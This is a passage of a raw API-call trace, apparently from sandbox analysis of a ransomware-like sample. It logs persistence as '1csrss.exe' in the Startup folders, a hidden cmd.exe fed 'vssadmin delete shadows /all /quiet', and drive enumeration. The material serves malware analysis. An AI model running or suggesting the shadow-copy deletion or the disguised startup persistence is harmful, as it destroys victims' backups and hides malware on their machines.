lpcbData=0x19fd48*=0x7fff) returned 0x2 [0269.180] RegCloseKey (hKey=0x244) returned 0x0 [0269.180] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724100 | out: hHeap=0x6e0000) returned 1 [0269.180] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0269.180] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8c) returned 0x724100 [0269.180] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0269.180] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x757f00, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0269.180] RegCloseKey (hKey=0x244) returned 0x0 [0269.180] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724100 | out: hHeap=0x6e0000) returned 1 [0269.180] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0269.180] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0269.180] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724a00 | out: hHeap=0x6e0000) returned 1 [0269.180] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe", lpDst=0x747ef8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe") returned 0x59 [0269.180] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x757f00 | out: hHeap=0x6e0000) returned 1 [0269.181] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x747ef8 | out: hHeap=0x6e0000) returned 1 [0269.181] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x250c020 [0269.184] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7238e8 [0269.184] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7238e8, Size=0x20) returned 0x71e8e0 [0269.184] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723ab0 [0269.184] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723ab0, Size=0x20) returned 0x71e6b0 [0269.184] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0269.184] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0269.184] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0269.184] lstrlenW (lpString="kernel32.dll") returned 12 [0269.184] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e8e0 | out: hHeap=0x6e0000) returned 1 [0269.184] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0269.184] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e6b0 | out: hHeap=0x6e0000) returned 1 [0269.184] CreateFileW (lpFileName="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0269.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\1csrss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.184] CloseHandle (hObject=0x244) returned 1 [0269.185] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723b58 [0269.185] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723b58, Size=0x20) returned 0x71e7a0 [0269.185] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7239c0 [0269.185] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7239c0, Size=0x20) returned 0x71e660 [0269.185] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0269.185] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0269.185] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0269.185] lstrlenW (lpString="kernel32.dll") returned 12 [0269.185] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e660 | out: hHeap=0x6e0000) returned 1 [0269.185] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0269.185] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e7a0 | out: hHeap=0x6e0000) returned 1 [0269.185] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x250c020 | out: hHeap=0x6e0000) returned 1 [0269.187] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x747ef8 [0269.187] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x757f00 [0269.187] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7239f0 [0269.187] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7239f0, Size=0x20) returned 0x71e9d0 [0269.187] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e9d0, Size=0x40) returned 0x6f8b00 [0269.187] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8b00, Size=0x80) returned 0x726938 [0269.187] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726938, Size=0x100) returned 0x724a00 [0269.187] lstrlenW (lpString="") returned 0 [0269.187] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0269.187] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8c) returned 0x724100 [0269.187] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0269.188] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x757f00, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0269.188] RegCloseKey (hKey=0x244) returned 0x0 [0269.188] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724100 | out: hHeap=0x6e0000) returned 1 [0269.188] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0269.188] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0269.188] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724a00 | out: hHeap=0x6e0000) returned 1 [0269.188] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe", lpDst=0x747ef8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe") returned 0x48 [0269.188] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x757f00 | out: hHeap=0x6e0000) returned 1 [0269.188] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x747ef8 | out: hHeap=0x6e0000) returned 1 [0269.189] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x2509020 [0269.191] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7238e8 [0269.191] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7238e8, Size=0x20) returned 0x71e7a0 [0269.191] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7239c0 [0269.191] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7239c0, Size=0x20) returned 0x71e958 [0269.191] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0269.191] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0269.191] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0269.191] lstrlenW (lpString="kernel32.dll") returned 12 [0269.191] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e7a0 | out: hHeap=0x6e0000) returned 1 [0269.191] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0269.191] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e958 | out: hHeap=0x6e0000) returned 1 [0269.191] CreateFileW (lpFileName="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0269.191] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\1csrss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.191] CloseHandle (hObject=0x244) returned 1 [0269.191] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7238e8 [0269.191] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7238e8, Size=0x20) returned 0x71e598 [0269.191] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723b10 [0269.191] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723b10, Size=0x20) returned 0x71e6b0 [0269.192] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0269.192] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0269.192] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0269.192] lstrlenW (lpString="kernel32.dll") returned 12 [0269.192] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e6b0 | out: hHeap=0x6e0000) returned 1 [0269.192] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0269.192] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e598 | out: hHeap=0x6e0000) returned 1 [0269.192] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x2509020 | out: hHeap=0x6e0000) returned 1 [0269.194] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x727ee8 | out: hHeap=0x6e0000) returned 1 [0269.194] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x737ef0 | out: hHeap=0x6e0000) returned 1 [0269.195] lstrlenW (lpString="%windir%\\System32") returned 17 [0269.195] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8710 | out: hHeap=0x6e0000) returned 1 [0269.195] lstrlenW (lpString="%appdata%") returned 9 [0269.195] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e778 | out: hHeap=0x6e0000) returned 1 [0269.195] lstrlenW (lpString="%sh(Startup)%") returned 13 [0269.195] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e818 | out: hHeap=0x6e0000) returned 1 [0269.195] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0269.195] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8488 | out: hHeap=0x6e0000) returned 1 [0269.195] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7239c0 [0269.195] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7239c0, Size=0x20) returned 0x71e7a0 [0269.195] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e7a0, Size=0x40) returned 0x6f8908 [0269.195] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8908, Size=0x80) returned 0x726a48 [0269.195] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723a20 [0269.195] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723a20, Size=0x20) returned 0x71e930 [0269.195] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1fffc) returned 0x727ee8 [0269.196] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x747ef0 [0269.196] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x757ef8 [0269.196] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7238e8 [0269.196] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7238e8, Size=0x20) returned 0x71e840 [0269.196] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e840, Size=0x40) returned 0x6f8560 [0269.196] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8560, Size=0x80) returned 0x726828 [0269.196] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726828, Size=0x100) returned 0x724a00 [0269.196] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0269.196] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724a00 | out: hHeap=0x6e0000) returned 1 [0269.196] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x747ef0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0269.196] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x757ef8 | out: hHeap=0x6e0000) returned 1 [0269.196] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x747ef0 | out: hHeap=0x6e0000) returned 1 [0269.197] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0269.383] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0269.383] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0269.469] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0269.469] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xe78, dwThreadId=0xe7c)) returned 1 [0270.952] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0270.952] WriteFile (in: hFile=0x24c, lpBuffer=0x726a48*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x726a48*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0270.952] CloseHandle (hObject=0x25c) returned 1 [0270.952] CloseHandle (hObject=0x258) returned 1 [0270.952] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x727ee8 | out: hHeap=0x6e0000) returned 1 [0270.952] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0270.952] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726a48 | out: hHeap=0x6e0000) returned 1 [0270.952] lstrlenW (lpString="%comspec%") returned 9 [0270.952] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e930 | out: hHeap=0x6e0000) returned 1 [0270.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0270.953] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x723af8 [0270.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x723af8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0270.953] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71eef8 [0270.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x71eef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0270.953] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723a68 [0270.953] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723a68, Size=0x20) returned 0x71e7c8 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e7c8, Size=0x40) returned 0x6f8b00 [0270.954] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xd0) returned 0x6fc3c8 [0270.954] GetLogicalDrives () returned 0x4 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10014) returned 0x727ee8 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7239d8 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7239d8, Size=0x20) returned 0x71e8e0 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e8e0, Size=0x40) returned 0x6f8710 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8710, Size=0x80) returned 0x726cf0 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726cf0, Size=0x100) returned 0x724a00 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a00, Size=0x200) returned 0x724a00 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a00, Size=0x400) returned 0x724a00 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a00, Size=0x800) returned 0x7271a8 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7271a8, Size=0x1000) returned 0x737f08 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x738f10 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723b58 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x723960 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x71ef08 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x723a68 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x71ee18 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723a98 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ee18, Size=0x8) returned 0x71eed8 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7239d8 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71eed8, Size=0x10) returned 0x723b40 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723870 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723978 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723b40, Size=0x20) returned 0x71ea20 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7239c0 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71eed8 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x7238e8 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x723b40 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ea20, Size=0x40) returned 0x6f8440 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x723900 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x7239f0 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x723930 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x723918 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723b28 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723a80 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71ef28 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723b10 [0270.954] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8440, Size=0x80) returned 0x726d78 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723ab0 [0270.954] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723948 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723a08 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723a20 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723b88 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x723bb8 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723bd0 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71ef68 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723be8 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723c00 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x723c18 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723c30 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x723ba0 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x723b70 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x6f91d0 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727298 [0270.955] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726d78, Size=0x100) returned 0x724a00 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727460 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727490 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727328 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x727418 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727400 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7274c0 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71ee18 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727268 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7274a8 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7271d8 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0x71eda8 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7271f0 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7273d0 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71ee58 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727208 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727430 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x727358 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727220 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727280 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727310 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x727238 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727250 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x727388 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7273e8 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7272b0 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7273a0 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727340 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71ee28 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7272e0 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7273b8 [0270.955] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7272c8 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7272f8 [0270.956] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a00, Size=0x200) returned 0x724a00 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727370 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, 